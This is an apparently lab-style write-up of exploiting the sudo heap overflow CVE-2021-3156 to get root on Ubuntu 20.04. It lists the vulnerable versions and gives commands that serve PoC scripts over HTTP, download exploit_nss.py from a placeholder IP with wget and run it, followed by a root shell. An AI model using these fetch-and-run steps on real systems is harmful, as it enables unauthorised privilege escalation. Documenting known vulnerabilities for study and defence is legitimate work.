👑 CVE-2021-3156 (Baron Samedit) — Privilege Escalation via Heap Overflow in sudo

📅 Дата: 2025-06-08
✍️ Автор: @TopskiyPavelQwertyGang 🧠 Security Researcher | Red Team Enthusiast

---

🧠 CVE Overview

• CVE-ID: CVE-2021-3156
• Type: Heap-based Buffer Overflow
• Component: sudoedit (sudo)
• Access level: Local
• Goal: Gaining root privileges

---

🧠 Description

A heap overflow in sudoedit allows a local user to gain root access
when running the sudoedit command with specially crafted parameters.

Exploitation is active for sudo versions < 1.9.5p2, including popular Ubuntu/Debian/CentOS images.
Even with ASLR enabled, the vulnerability remains exploitable.

---

🐾 Exploitation Conditions

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnerable)
ASLR   : 2 (enabled)

---

🧪 Environment Preparation

1. The versions of glibc and sudo were checked:

ldd --version
sudo --version

2. PoC scripts were transferred from another machine via a built-in HTTP server:

python3 -m http.server 80

3. On the target machine, the PoCs are downloaded and executed:

wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

---

🚀 Successful PoC Exploitation

$ python3 exploit_nss.py
# whoami
root

---

🧾 Conclusion

Exploitation of CVE-2021-3156 remains possible even with ASLR active, if glibc ≥ 2.26 and sudo is a vulnerable version.
The most stable proved to be the exploit_nss.py exploit, which succeeds on the first try with a correct NSS configuration.

🧨 System under control.

---